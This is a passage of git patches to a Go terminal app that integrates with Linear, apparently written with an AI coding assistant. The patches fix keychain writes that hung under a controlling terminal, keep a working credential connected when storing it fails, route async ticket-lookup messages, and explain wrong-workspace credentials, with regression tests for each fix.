@@ -90,16 +91,20 @@ func saveStored(s stored) error { return writeSecret(data) } -func readSecret() ([]byte, bool) { +func readSecret() ([]byte, bool) { return readSecretFrom(keychainService) } + +// readSecretFrom is readSecret against an explicit service name, matching +// writeSecretTo so the PTY regression test can round-trip its own item. +func readSecretFrom(service string) ([]byte, bool) { switch { case useKeychain(): - out, err := runQuiet(storeTimeout, nil, "security", "find-generic-password", "-w", "-s", keychainService) + out, err := runQuiet(storeTimeout, nil, "security", "find-generic-password", "-w", "-s", service) if err != nil { return nil, false } return bytes.TrimSpace(out), true case useSecretTool(): - out, err := runQuiet(storeTimeout, nil, "secret-tool", "lookup", "service", keychainService) + out, err := runQuiet(storeTimeout, nil, "secret-tool", "lookup", "service", service) if err != nil { return nil, false } @@ -124,12 +129,16 @@ func readSecret() ([]byte, bool) { // the secret from stdin — twice, because it is implementing an interactive // "type it again" prompt and does not care that stdin is a pipe. secret-tool // reads it once. Both were verified against a live keychain. -func writeSecret(data []byte) error { +func writeSecret(data []byte) error { return writeSecretTo(keychainService, data) } + +// writeSecretTo is writeSecret against an explicit service name, so the PTY +// regression test can use a namespaced item instead of the real one. +func writeSecretTo(service string, data []byte) error { switch { case useKeychain(): twice := append(append(append([]byte{}, data...), '\n'), append(data, '\n')...) _, err := runQuiet(storeTimeout, twice, "security", "add-generic-password", - "-U", "-s", keychainService, "-a", keychainAccount, "-w") + "-U", "-s", service, "-a", keychainAccount, "-w") if err != nil { return fmt.Errorf("keychain write failed: %w", err) } @@ -189,5 +198,19 @@ func runQuiet(timeout time.Duration, stdin []byte, name string, args ...string) cmd.Stdin = bytes.NewReader(stdin) } cmd.Stderr = nil + // Detach from the controlling terminal. This is not hygiene, it is the + // difference between working and hanging: `security ... -w` implements an + // interactive prompt, and when a controlling tty exists it opens /dev/tty + // and reads the password from THERE, ignoring the stdin we piped it. Inside + // the TUI that means the prompt is painted over fleet's own screen and the + // process blocks until the context kills it — "keychain write failed: + // signal: killed", with nothing stored. + // + // Setsid puts the child in a new session with no controlling terminal, so + // /dev/tty cannot be opened and it falls back to stdin. + // + // This reproduces ONLY under a real tty, which is why it has a PTY-based + // test: verifying it from a pipe-only shell passes while the app is broken. + cmd.SysProcAttr = &syscall.SysProcAttr{Setsid: true} return cmd.Output() } diff --git a/internal/linear/store_pty_test.go b/internal/linear/store_pty_test.go new file mode 100644 index 00000000..803aed18 --- /dev/null +++ b/internal/linear/store_pty_test.go @@ -0,0 +1,97 @@ +package linear + +import ( + "fmt" + "os" + "os/exec" + "runtime" + "strings" + "testing" + "time" + + "github.com/creack/pty" +) + +// TestKeychainWriteWorksUnderATTY is a regression test that must run under a +// real controlling terminal, because that is the only place the bug exists. +// +// `security ... -w` implements an interactive prompt. When a controlling tty is +// present it opens /dev/tty and reads the password from there, ignoring piped +// stdin — so inside the TUI the prompt painted over fleet's own screen and the +// process blocked until the context killed it ("keychain write failed: signal: +// killed"), storing nothing. From a pipe-only shell the same code passes, which +// is exactly why this test allocates a PTY: verifying it any other way reports +// success while the app is broken. +// +// The fix is Setsid in runQuiet. If that is removed, the child below times out +// at storeTimeout instead of finishing in tens of milliseconds. +func TestKeychainWriteWorksUnderATTY(t *testing.T) { + if runtime.GOOS != "darwin" { + t.Skip("uses the macOS `security` keychain helper") + } + if !hasTool("security") { + t.Skip("no security binary") + } + + if os.Getenv("FLEET_KEYCHAIN_PTY_CHILD") != "" { + runKeychainTTYChild(t) + return + } + + cmd := exec.Command(os.Args[0], "-test.run", "TestKeychainWriteWorksUnderATTY", "-test.v") + cmd.Env = append(os.Environ(), "FLEET_KEYCHAIN_PTY_CHILD=1") + f, err := pty.Start(cmd) + if err != nil { + t.Skipf("could not allocate a pty: %v", err) + } + defer func() { _ = f.Close() }() + + var out strings.Builder + done := make(chan struct{}) + go func() { + defer close(done) + buf := make([]byte, 4096) + for { + n, err := f.Read(buf) + if n > 0 { + out.Write(buf[:n]) + } + if err != nil { + return + } + } + }() + waitErr := cmd.Wait() + <-done + + got := out.String() + if waitErr != nil || !strings.Contains(got, "KEYCHAIN_TTY_OK") { + t.Fatalf("keychain write failed under a tty (err=%v). Setsid missing from runQuiet?\n%s", waitErr, got) + } + // The prompt reaching the terminal is the visible half of the same bug: it + // paints over the TUI. Its absence proves the child never went to /dev/tty. + if strings.Contains(got, "password data for new item") { + t.Errorf("`security` prompted on the terminal — it is still reading /dev/tty, "+ + "which corrupts the TUI's screen:\n%s", got) + } +} + +func runKeychainTTYChild(t *testing.T) { + service := fmt.Sprintf("fleet-linear-ttytest-%d", os.Getpid()) + defer func() { _, _ = runQuiet(storeTimeout, nil, "security", "delete-generic-password", "-s", service) }() + + const payload = `{"kind":"api_key","token":"probe-not-a-real-key"}` + start := time.Now() + if err := writeSecretTo(service, []byte(payload)); err != nil { + t.Fatalf("write: %v (after %s)", err, time.Since(start).Round(time.Millisecond)) + } + // A write that only just beat the deadline is the bug in slow motion. + if elapsed := time.Since(start); elapsed > storeTimeout/2 { + t.Fatalf("write took %s, near the %s deadline — it is waiting on something", elapsed, storeTimeout) + } + got, ok := readSecretFrom(service) + if !ok || strings.TrimSpace(string(got)) != payload { + t.Fatalf("read back %q (ok=%v), want the payload", got, ok) + } + fmt.Println("KEYCHAIN_TTY_OK") +} diff --git a/internal/ui/connect_linear.go b/internal/ui/connect_linear.go index cb57665c..15cccfff 100644 --- a/internal/ui/connect_linear.go +++ b/internal/ui/connect_linear.go @@ -17,10 +17,17 @@ import ( // measured at ~260ms; past this the network is the problem, not the key. const connectLinearTimeout = 20 * time.Second -// linearConnectedMsg lands when a credential has been verified and stored. +// linearConnectedMsg lands when a credential has been verified. +// +// persistErr is carried separately from a connect failure on purpose: the +// credential is live in memory the moment it verifies, so a keychain that +// refuses to store it costs you the NEXT launch, not this one. Reporting that +// as "connect failed" contradicted the code and sent people back to re-paste a +// key that was already working. type linearConnectedMsg struct { - workspace linear.Workspace - via string + workspace linear.Workspace + via string + persistErr error } // linearConnectFailedMsg lands when it hasn't. @@ -65,9 +72,10 @@ type ConnectLinearDialog struct { focus int input textinput.Model - err error - workspace linear.Workspace - via string + err error + persistErr error + workspace linear.Workspace + via string } func NewConnectLinearDialog() *ConnectLinearDialog { @@ -87,7 +95,7 @@ func (d *ConnectLinearDialog) SetSize(w, h int) { d.width, d.height = w, h } func (d *ConnectLinearDialog) Show() { d.visible = true - d.err = nil + d.err, d.persistErr = nil, nil d.input.SetValue("") d.input.Blur() d.workspace, _ = linear.WorkspaceInfo() @@ -120,7 +128,8 @@ func (d *ConnectLinearDialog) setFocus(i int) { func (d *ConnectLinearDialog) Update(msg tea.Msg) (*ConnectLinearDialog, tea.Cmd) { switch m := msg.(type) { case linearConnectedMsg: - d.stage, d.workspace, d.via, d.err = connectDone, m.workspace, m.via, nil + d.stage, d.workspace, d.via = connectDone, m.workspace, m.via + d.err, d.persistErr = nil, m.persistErr return d, nil case linearConnectFailedMsg: // Back to the field that produced it, so the fix is one keystroke away @@ -233,10 +242,9 @@ func verifyAndStoreLinearKey(key string) tea.Cmd { return linearConnectFailedMsg{err: err} } cred.Workspace = ws.Name - if err := linear.SetCredential(cred); err != nil { - return linearConnectFailedMsg{err: err} - } - return linearConnectedMsg{workspace: ws, via: linear.ConnectedVia()} + // Not an error path: the credential is already live. See linearConnectedMsg. + persistErr := linear.SetCredential(cred) + return linearConnectedMsg{workspace: ws, via: linear.ConnectedVia(), persistErr: persistErr} } } @@ -254,10 +262,8 @@ func signInToLinear() tea.Cmd { return linearConnectFailedMsg{err: err} } cred.Workspace = ws.Name - if err := linear.SetCredential(cred); err != nil { - return linearConnectFailedMsg{err: err} - } - return linearConnectedMsg{workspace: ws, via: linear.ConnectedVia()} + persistErr := linear.SetCredential(cred) + return linearConnectedMsg{workspace: ws, via: linear.ConnectedVia(), persistErr: persistErr} } } @@ -280,6 +286,15 @@ func (d *ConnectLinearDialog) View() string { b.WriteString(DimStyle.Render("via " + d.via)) b.WriteString("\n") } + if d.persistErr != nil { + b.WriteString("\n") + b.WriteString(ErrorStyle.Render("⚠ couldn't save it: " + d.persistErr.Error())) + b.WriteString("\n") + b.WriteString(DimStyle.Render("Linear works for this session; you'll reconnect after a restart.")) + b.WriteString("\n") + b.WriteString(DimStyle.Render("To make it stick, set " + linear.APIKeyEnvVar + " in your shell instead.")) + b.WriteString("\n") + } if len(d.workspace.TeamKeys) > 0 { b.WriteString("\n") b.WriteString(DimStyle.Render("Teams: " + strings.Join(d.workspace.TeamKeys, ", "))) diff --git a/internal/ui/connect_linear_test.go b/internal/ui/connect_linear_test.go index 2619b9f8..797c97fa 100644 --- a/internal/ui/connect_linear_test.go +++ b/internal/ui/connect_linear_test.go @@ -1,6 +1,7 @@ package ui import ( + "errors" "strings" "testing" @@ -183,3 +184,39 @@ func TestConnectWithoutOAuthAppFallsBackToPaste(t *testing.T) { t.Errorf("stage = %v, want to stay on the chooser", d.stage) } } + +// TestPersistFailureStillReportsConnected pins the distinction the first +// version got wrong. +// +// SetCredential makes the credential live before it tries to store it, so a +// keychain that refuses costs you the next launch, not this one. Reporting that +// as a connect failure sent people back to re-paste a key that was already +// working — and it contradicted the code's own stated posture. +func TestPersistFailureStillReportsConnected(t *testing.T) { + d := connectDialog(t) + d.stage = connectWorking + + d, _ = d.Update(linearConnectedMsg{ + workspace: linear.Workspace{Name: "Brizz", TeamKeys: []string{"BRZ"}}, + via: "API key", + persistErr: errors.New("keychain write failed: signal: killed"), + }) + + if d.stage != connectDone { + t.Fatalf("stage = %v, want connectDone — the credential works", d.stage) + } + if d.err != nil { + t.Errorf("a persistence failure must not read as a connect failure, got %v", d.err) + } + + got := d.View() + if !strings.Contains(got, "connected") { + t.Error("it must still say it is connected") + } + if !strings.Contains(got, "this session") { + t.Errorf("it must say what was actually lost — the next launch, not this one:\n%s", got) + } + if !strings.Contains(got, linear.APIKeyEnvVar) { + t.Errorf("it must name the way out that needs no keychain:\n%s", got) + } +} From b9d8965b0cc4e6144a748b52ba3c93d7fd47e08a Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 17:14:18 +0300 Subject: [PATCH 06/23] fix(linear): deliver the ticket lookup's replies to the dialog MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Typing in the `w` dialog's New branch field produced no suggestions, ever — not for prose, not for an identifier. The lookup was never running. routeToModal is reached only from handleKey and handlePaste, so it carries key and paste messages. The debounce tick and the search reply are tea.Cmd results: they arrive as plain messages in Home.Update, which had no case for them, so both were dropped. WorktreeDialog.Update handled them correctly and simply never received either. Every unit test passed throughout, because they call d.Update directly and so exercise the dialog without the routing that feeds it. The guard added here is the one that catches this shape: it parses WorktreeDialog.Update for the message types the dialog owns and fails if Home.Update has no case for one. Removing the new routing fails it, naming both messages. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- internal/ui/app.go | 10 +++ internal/ui/worktree_ticket_routing_test.go | 95 +++++++++++++++++++++ 2 files changed, 105 insertions(+) create mode 100644 internal/ui/worktree_ticket_routing_test.go diff --git a/internal/ui/app.go b/internal/ui/app.go index 0aad9b73..f2e82671 100644 --- a/internal/ui/app.go +++ b/internal/ui/app.go @@ -1649,6 +1649,16 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { prompt: prompt, }) + case worktreeTicketTickMsg, worktreeTicketsMsg: + // Routed here, not through routeToModal: that is only reached from + // handleKey and handlePaste, so it carries key and paste messages only. + // These two are tea.Cmd results — the debounce firing and the lookup + // replying — and with no case here they were dropped in Update and the + // suggestion list never appeared at all. Both self-guard on visibility + // and generation, so forwarding unconditionally is safe. + dialog, cmd := h.worktreeDialog.Update(msg) + h.worktreeDialog = dialog + return h, cmd case linearDisconnectedMsg: h.connectLinear.Show() // re-reads the (now empty) credential state return h, nil diff --git a/internal/ui/worktree_ticket_routing_test.go b/internal/ui/worktree_ticket_routing_test.go new file mode 100644 index 00000000..84ad2c22 --- /dev/null +++ b/internal/ui/worktree_ticket_routing_test.go @@ -0,0 +1,95 @@ +package ui + +import ( + "go/ast" + "go/parser" + "go/token" + "strings" + "testing" +) + +// typeSwitchCases returns the case type names in every type switch inside the +// named method of a file. +func typeSwitchCases(t *testing.T, file, recvType, method string) map[string]bool { + t.Helper() + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, file, nil, 0) + if err != nil { + t.Fatalf("parse %s: %v", file, err) + } + out := map[string]bool{} + found := false + ast.Inspect(f, func(n ast.Node) bool { + fd, ok := n.(*ast.FuncDecl) + if !ok || fd.Name.Name != method || fd.Recv == nil { + return true + } + if !strings.Contains(typeString(fd.Recv.List[0].Type), recvType) { + return true + } + found = true + ast.Inspect(fd.Body, func(m ast.Node) bool { + cc, ok := m.(*ast.CaseClause) + if !ok { + return true + } + for _, expr := range cc.List { + if id, ok := expr.(*ast.Ident); ok { + out[id.Name] = true + } + } + return true + }) + return false + }) + if !found { + t.Fatalf("%s.%s not found in %s — renamed? this guard is now vacuous", recvType, method, file) + } + return out +} + +func typeString(e ast.Expr) string { + switch v := e.(type) { + case *ast.StarExpr: + return typeString(v.X) + case *ast.Ident: + return v.Name + } + return "" +} + +// TestWorktreeDialogAsyncMessagesAreRouted pins the wiring that made the whole +// ticket-suggestion feature dead on arrival. +// +// routeToModal is reached ONLY from handleKey and handlePaste, so it carries +// key and paste messages. Anything a dialog returns as a tea.Cmd — a debounce +// firing, a lookup replying — arrives as a plain message in Home.Update, and +// with no case there it is silently dropped. WorktreeDialog.Update handled both +// ticket messages perfectly and never received either, so every unit test that +// called d.Update directly passed while the app showed no suggestions at all. +// +// Any new message the dialog handles itself must therefore also be forwarded +// from Home.Update. This test fails if one isn't. +func TestWorktreeDialogAsyncMessagesAreRouted(t *testing.T) { + dialogCases := typeSwitchCases(t, "workspace_picker.go", "WorktreeDialog", "Update") + + var async []string + for name := range dialogCases { + // tea.* types arrive through routeToModal; our own message types do not. + if strings.HasSuffix(name, "Msg") && !strings.HasPrefix(name, "tea") { + async = append(async, name) + } + } + if len(async) == 0 { + t.Fatal("found no dialog-owned messages — this guard is vacuous") + } + + homeCases := typeSwitchCases(t, "app.go", "Home", "Update") + for _, name := range async { + if !homeCases[name] { + t.Errorf("WorktreeDialog.Update handles %s, but Home.Update has no case for it.\n"+ + "routeToModal only carries key and paste messages, so this message is dropped "+ + "and the feature it drives never runs — silently, and with every unit test still passing.", name) + } + } +} From 98a52efa43719ef46d7330f0b161546798bb302f Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 17:18:43 +0300 Subject: [PATCH 07/23] test(ui): rename the connect dialog's key helper master gained its own press() helper in internal/ui, so the PR's merge commit had two. Renamed here because this one is the newcomer and the other is the more general of the two. --- internal/ui/connect_linear_test.go | 14 ++--- internal/ui/worktree_ticket_e2e_test.go | 81 +++++++++++++++++++++++++ 2 files changed, 88 insertions(+), 7 deletions(-) create mode 100644 internal/ui/worktree_ticket_e2e_test.go diff --git a/internal/ui/connect_linear_test.go b/internal/ui/connect_linear_test.go index 797c97fa..a715ebd3 100644 --- a/internal/ui/connect_linear_test.go +++ b/internal/ui/connect_linear_test.go @@ -21,14 +21,14 @@ func connectDialog(t *testing.T) *ConnectLinearDialog { return d } -func press(d *ConnectLinearDialog, key string) *ConnectLinearDialog { - out, _ := d.Update(tea.KeyPressMsg{Code: keyCodeFor(key), Text: key}) +func pressConnect(d *ConnectLinearDialog, key string) *ConnectLinearDialog { + out, _ := d.Update(tea.KeyPressMsg{Code: connectKeyCode(key), Text: key}) return out } -// keyCodeFor maps the handful of keys these tests send. Named keys carry no +// connectKeyCode maps the handful of keys these tests send. Named keys carry no // Text, which is exactly how the dialog distinguishes them. -func keyCodeFor(key string) rune { +func connectKeyCode(key string) rune { switch key { case "down": return tea.KeyDown @@ -52,7 +52,7 @@ func TestConnectCaretAndHighlightNeverCoexist(t *testing.T) { t.Error("the key field must not hold the caret while the method rows own the highlight") } - d = press(d, "down") + d = pressConnect(d, "down") if d.focus != connectRowPaste { t.Fatalf("focus = %d, want the paste row", d.focus) } @@ -60,7 +60,7 @@ func TestConnectCaretAndHighlightNeverCoexist(t *testing.T) { t.Error("moving the highlight must not focus the field — the field is a later stage") } - d = press(d, "enter") + d = pressConnect(d, "enter") if d.stage != connectPasting { t.Fatalf("stage = %v, want connectPasting", d.stage) } @@ -70,7 +70,7 @@ func TestConnectCaretAndHighlightNeverCoexist(t *testing.T) { // esc walks back a stage rather than closing, so a mistyped choice costs one // key, not the whole dialog. - d = press(d, "esc") + d = pressConnect(d, "esc") if d.stage != connectChoosing { t.Errorf("esc from the field should return to the chooser, got stage %v", d.stage) } diff --git a/internal/ui/worktree_ticket_e2e_test.go b/internal/ui/worktree_ticket_e2e_test.go new file mode 100644 index 00000000..0168e476 --- /dev/null +++ b/internal/ui/worktree_ticket_e2e_test.go @@ -0,0 +1,81 @@ +package ui + +import ( + "path/filepath" + "testing" + + tea "charm.land/bubbletea/v2" + + "github.com/brizzai/fleet/internal/analytics" + "github.com/brizzai/fleet/internal/config" + "github.com/brizzai/fleet/internal/linear" + "github.com/brizzai/fleet/internal/session" +) + +// TestTicketLookupSurvivesTheRealMessageLoop drives a real Home from a keypress +// all the way to the lookup being dispatched, following every tea.Cmd the way +// the runtime does. +// +// This exists because two separate bugs shipped past a full green suite: the +// dialog's messages were never routed to it, and every unit test called +// d.Update directly, so the dialog was exercised without the wiring that feeds +// it. Testing a component in isolation cannot see a gap between components. +func TestTicketLookupSurvivesTheRealMessageLoop(t *testing.T) { + storage, err := session.Open(filepath.Join(t.TempDir(), "test.db")) + if err != nil { + t.Fatalf("open db: %v", err) + } + defer storage.Close() + + h := NewHome(storage, &config.Config{TickIntervalSec: 2}, "test", analytics.Identity{}) + h.width, h.height = 120, 40 + h.worktreeDialog.SetSize(120, 40) + h.worktreeDialog.Show(nil, nil, nil, "/repo", "master", []string{"BRZ"}) + + // Type "sdk" the way a user does: one key at a time, through Home. + var pending []tea.Cmd + for _, r := range "sdk" { + model, cmd := h.Update(tea.KeyPressMsg{Code: r, Text: string(r)}) + h = model.(*Home) + if cmd != nil { + pending = append(pending, cmd) + } + } + if h.worktreeDialog.newBranchInput.Value() != "sdk" { + t.Fatalf("field holds %q — the keys never reached the input", + h.worktreeDialog.newBranchInput.Value()) + } + if len(pending) == 0 { + t.Fatal("typing scheduled nothing; the debounce was never armed") + } + + // The debounce fires. Deliver its message the way the runtime would: into + // Home.Update, NOT straight into the dialog — that difference is the bug + // this test exists for. + gen := h.worktreeDialog.ticketGen + model, cmd := h.Update(worktreeTicketTickMsg{gen: gen}) + h = model.(*Home) + + if cmd == nil { + t.Fatal("the debounce tick produced no lookup — Home.Update dropped it, " + + "so no suggestion can ever appear") + } + if !h.worktreeDialog.ticketPending { + t.Error("the dialog does not consider a lookup in flight, so its spinner and " + + "its generation guard are both out of step with reality") + } + + // And the reply must land back on the dialog through the same route. + model, _ = h.Update(worktreeTicketsMsg{ + gen: gen, + query: "sdk", + tickets: []linear.Ticket{{Identifier: "BRZ-3013", Title: "TS sdk spanprocessor"}}, + }) + h = model.(*Home) + if h.worktreeDialog.ticketPending { + t.Error("the reply never reached the dialog: it still thinks a lookup is in flight") + } + if got := h.worktreeDialog.visibleTicketCount(); got != 1 { + t.Errorf("dialog shows %d suggestions, want 1 — the reply was dropped", got) + } +} From 12100a891c0af82d7ea0c2963dd91e2eb8a6cd28 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 17:20:29 +0300 Subject: [PATCH 08/23] fix(linear): say when the credential is for the wrong workspace MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Typing in the New branch field produced no suggestions and no explanation. The credential was fine and the API was answering — it just belonged to a workspace that has none of the repo's teams, so every search was legitimately empty. Nothing else in the flow catches that. The team keys come from a file, so the dialog lights up with "BRZ" regardless of what the token can see; the API returns 200 with zero nodes; and an empty result set is normally not worth a word. The one state where silence is wrong is the one where the result will ALWAYS be empty. Easy to hit: authorizing browser sign-in against the wrong workspace yields a credential that works perfectly and can see none of your issues. An always-empty search now names the connected workspace and the missing team. A by-identifier miss stops claiming "no such issue" in that state too — the issue exists, fleet is looking in the wrong place. Also adds the end-to-end test that was missing: it drives a real Home from a keypress through the debounce to the lookup being dispatched, following every tea.Cmd the way the runtime does, rather than calling the dialog directly. That gap is what let two earlier bugs ship past a green suite. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- internal/linear/api.go | 9 +++++ internal/ui/workspace_picker_ticket.go | 46 ++++++++++++++++++++++++- internal/ui/worktree_ticket_e2e_test.go | 44 +++++++++++++++++++++++ 3 files changed, 98 insertions(+), 1 deletion(-) diff --git a/internal/linear/api.go b/internal/linear/api.go index 2f5b467c..ab8c18ce 100644 --- a/internal/linear/api.go +++ b/internal/linear/api.go @@ -526,3 +526,12 @@ func fetchWorkspaceWith(ctx context.Context, cred Credential, useStored bool) (W wsCache.mu.Unlock() return ws, nil } + +// SetWorkspaceForTest installs a workspace reading without a network call, so +// UI tests can exercise the wrong-workspace path. An empty Workspace clears it. +func SetWorkspaceForTest(ws Workspace) { + wsCache.mu.Lock() + defer wsCache.mu.Unlock() + wsCache.ws = ws + wsCache.loaded = ws.Name != "" || len(ws.TeamKeys) > 0 +} diff --git a/internal/ui/workspace_picker_ticket.go b/internal/ui/workspace_picker_ticket.go index 98821699..4d75dbb6 100644 --- a/internal/ui/workspace_picker_ticket.go +++ b/internal/ui/workspace_picker_ticket.go @@ -143,7 +143,14 @@ func (d *WorktreeDialog) applyTickets(m worktreeTicketsMsg) { switch { case errors.Is(m.err, linear.ErrNotFound): if m.byID { - d.ticketNote = m.query + " — no such issue" + // "no such issue" is the wrong diagnosis when the credential + // simply cannot see this repo's workspace — the issue exists, + // we are looking in the wrong place. + if note, wrong := d.workspaceMismatchNote(); wrong { + d.ticketNote = note + } else { + d.ticketNote = m.query + " — no such issue" + } } case errors.Is(m.err, linear.ErrNotAuthenticated): d.ticketNote = "linear: credential rejected — Ctrl+K → Connect Linear" @@ -182,11 +189,48 @@ func (d *WorktreeDialog) applyTickets(m worktreeTicketsMsg) { if len(d.tickets) > ticketMaxRows { d.tickets = d.tickets[:ticketMaxRows] } + // A search that matched nothing is normally not worth a word. But when the + // credential belongs to a workspace that has none of this repo's teams, + // EVERY search returns nothing, and rendering that as silence leaves the + // user typing into a feature that looks broken with no way to find out why. + if len(d.tickets) == 0 { + if note, wrong := d.workspaceMismatchNote(); wrong { + d.ticketNote = note + } + } if d.focus == focusNewBranch { d.setSelection(focusNewBranch, d.ticketCursor) } } +// workspaceMismatchNote reports when the connected Linear workspace contains +// none of this repo's teams. +// +// This is a real and easily-hit state: authorizing browser sign-in against the +// wrong workspace produces a credential that works perfectly and can see none +// of your issues. Nothing else in the flow catches it — the team keys come from +// a file, so the dialog lights up; the API answers happily; the results are +// simply always empty. +func (d *WorktreeDialog) workspaceMismatchNote() (string, bool) { + ws, known := linear.WorkspaceInfo() + if !known || len(d.linearTeams) == 0 || len(ws.TeamKeys) == 0 { + return "", false + } + for _, repoTeam := range d.linearTeams { + for _, wsTeam := range ws.TeamKeys { + if strings.EqualFold(repoTeam, wsTeam) { + return "", false + } + } + } + name := ws.Name + if name == "" { + name = "that workspace" + } + return fmt.Sprintf("connected to %s, which has no %s team — Ctrl+K → Connect Linear", + name, strings.Join(d.linearTeams, "/")), true +} + // pickTicket fills the field from a highlighted row and collapses back to the // resolved state, so both ways of naming a ticket end up identical. func (d *WorktreeDialog) pickTicket(t linear.Ticket) { diff --git a/internal/ui/worktree_ticket_e2e_test.go b/internal/ui/worktree_ticket_e2e_test.go index 0168e476..2e0d22f2 100644 --- a/internal/ui/worktree_ticket_e2e_test.go +++ b/internal/ui/worktree_ticket_e2e_test.go @@ -2,6 +2,7 @@ package ui import ( "path/filepath" + "strings" "testing" tea "charm.land/bubbletea/v2" @@ -79,3 +80,46 @@ func TestTicketLookupSurvivesTheRealMessageLoop(t *testing.T) { t.Errorf("dialog shows %d suggestions, want 1 — the reply was dropped", got) } } + +// TestWrongWorkspaceIsNamedNotSilent covers the state that made the feature +// look broken with nothing on screen to explain it. +// +// Authorizing browser sign-in against the wrong workspace yields a credential +// that works perfectly and can see none of your issues. The team keys come from +// a file, so the dialog lights up; the API answers happily; every search is +// empty. Silence is the one response that leaves no way to find out why. +func TestWrongWorkspaceIsNamedNotSilent(t *testing.T) { + d := NewWorktreeDialog() + d.SetSize(120, 40) + d.Show(nil, nil, nil, "/repo", "master", []string{"BRZ"}) + + // Connected to a workspace that has no BRZ team. + linear.SetWorkspaceForTest(linear.Workspace{Name: "fleet", TeamKeys: []string{"FLE"}}) + t.Cleanup(func() { linear.SetWorkspaceForTest(linear.Workspace{}) }) + + d.ticketGen = 7 + d.applyTickets(worktreeTicketsMsg{gen: 7, query: "sdk", tickets: nil}) + if d.ticketNote == "" { + t.Fatal("an always-empty search must say why, not render silence") + } + if !strings.Contains(d.ticketNote, "fleet") || !strings.Contains(d.ticketNote, "BRZ") { + t.Errorf("the note must name the workspace and the missing team, got %q", d.ticketNote) + } + + // And a by-id miss must not be reported as "no such issue" — the issue + // exists, we are looking in the wrong workspace. + d.ticketGen = 8 + d.applyTickets(worktreeTicketsMsg{gen: 8, query: "BRZ-3013", byID: true, err: linear.ErrNotFound}) + if strings.Contains(d.ticketNote, "no such issue") { + t.Errorf("wrong diagnosis for a wrong-workspace credential: %q", d.ticketNote) + } + + // The converse: a workspace that DOES hold the team stays quiet on an + // ordinary empty search. + linear.SetWorkspaceForTest(linear.Workspace{Name: "Brizz", TeamKeys: []string{"BRZ", "PRD"}}) + d.ticketGen = 9 + d.applyTickets(worktreeTicketsMsg{gen: 9, query: "zzzz", tickets: nil}) + if d.ticketNote != "" { + t.Errorf("an ordinary no-match must stay silent, got %q", d.ticketNote) + } +} From 94d47eeb06beceaa1ca0de1f4f061db212d1d625 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 17:31:19 +0300 Subject: [PATCH 09/23] fix(linear): keep the wrong-workspace note inside the box MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The note ran to 62 columns under a ~48-column inner width, so it wrapped and truncated to "Ctrl+K → Conn…". An instruction cut in half is worse than no instruction. Shortened, and pinned with a width test. Also names the thing about browser sign-in that a user cannot control from inside fleet and will otherwise get wrong: Linear's consent screen targets whatever workspace the browser is currently in, so signing in from the wrong one produces a credential that works perfectly and can see none of your issues. The row now says so instead of "opens your browser". Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- internal/ui/connect_linear.go | 10 ++++++++-- internal/ui/workspace_picker_ticket.go | 6 ++++-- internal/ui/worktree_ticket_e2e_test.go | 23 +++++++++++++++++++++++ 3 files changed, 35 insertions(+), 4 deletions(-) diff --git a/internal/ui/connect_linear.go b/internal/ui/connect_linear.go index 15cccfff..e631592f 100644 --- a/internal/ui/connect_linear.go +++ b/internal/ui/connect_linear.go @@ -325,9 +325,15 @@ func (d *ConnectLinearDialog) View() string { b.WriteString("\n") default: + // The browser row names WHICH workspace it will connect, because that + // is the one thing about it a user cannot control from here and will + // otherwise get wrong: Linear's consent screen targets whatever + // workspace the browser is currently in, so signing in from the wrong + // one yields a credential that works perfectly and can see none of + // your issues. rows := []struct{ label, detail string }{ - {"Sign in with Linear", "opens your browser"}, - {"Paste an API key", "works over SSH"}, + {"Sign in with Linear", "connects the workspace your browser is in"}, + {"Paste an API key", "works over SSH; scoped to that key"}, } for i, r := range rows { marker := " " diff --git a/internal/ui/workspace_picker_ticket.go b/internal/ui/workspace_picker_ticket.go index 4d75dbb6..26d5d16a 100644 --- a/internal/ui/workspace_picker_ticket.go +++ b/internal/ui/workspace_picker_ticket.go @@ -227,8 +227,10 @@ func (d *WorktreeDialog) workspaceMismatchNote() (string, bool) { if name == "" { name = "that workspace" } - return fmt.Sprintf("connected to %s, which has no %s team — Ctrl+K → Connect Linear", - name, strings.Join(d.linearTeams, "/")), true + // Kept short deliberately: this renders on one line under a narrow input, + // and the first version wrapped and truncated mid-word into "Ctrl+K → + // Conn…", which is worse than useless. + return fmt.Sprintf("%s has no %s team — reconnect: Ctrl+K", name, strings.Join(d.linearTeams, "/")), true } // pickTicket fills the field from a highlighted row and collapses back to the diff --git a/internal/ui/worktree_ticket_e2e_test.go b/internal/ui/worktree_ticket_e2e_test.go index 2e0d22f2..4a1682a8 100644 --- a/internal/ui/worktree_ticket_e2e_test.go +++ b/internal/ui/worktree_ticket_e2e_test.go @@ -6,6 +6,7 @@ import ( "testing" tea "charm.land/bubbletea/v2" + "github.com/charmbracelet/x/ansi" "github.com/brizzai/fleet/internal/analytics" "github.com/brizzai/fleet/internal/config" @@ -123,3 +124,25 @@ func TestWrongWorkspaceIsNamedNotSilent(t *testing.T) { t.Errorf("an ordinary no-match must stay silent, got %q", d.ticketNote) } } + +// TestWorkspaceMismatchNoteFitsOnOneLine keeps the note inside the box. +// +// The first version ran to 62 columns under a ~48-column inner width, so it +// wrapped and truncated to "Ctrl+K → Conn…" — an instruction cut in half is +// worse than no instruction. +func TestWorkspaceMismatchNoteFitsOnOneLine(t *testing.T) { + d := NewWorktreeDialog() + d.SetSize(120, 40) + d.Show(nil, nil, nil, "/repo", "master", []string{"BRZ"}) + linear.SetWorkspaceForTest(linear.Workspace{Name: "fleet", TeamKeys: []string{"FLE"}}) + t.Cleanup(func() { 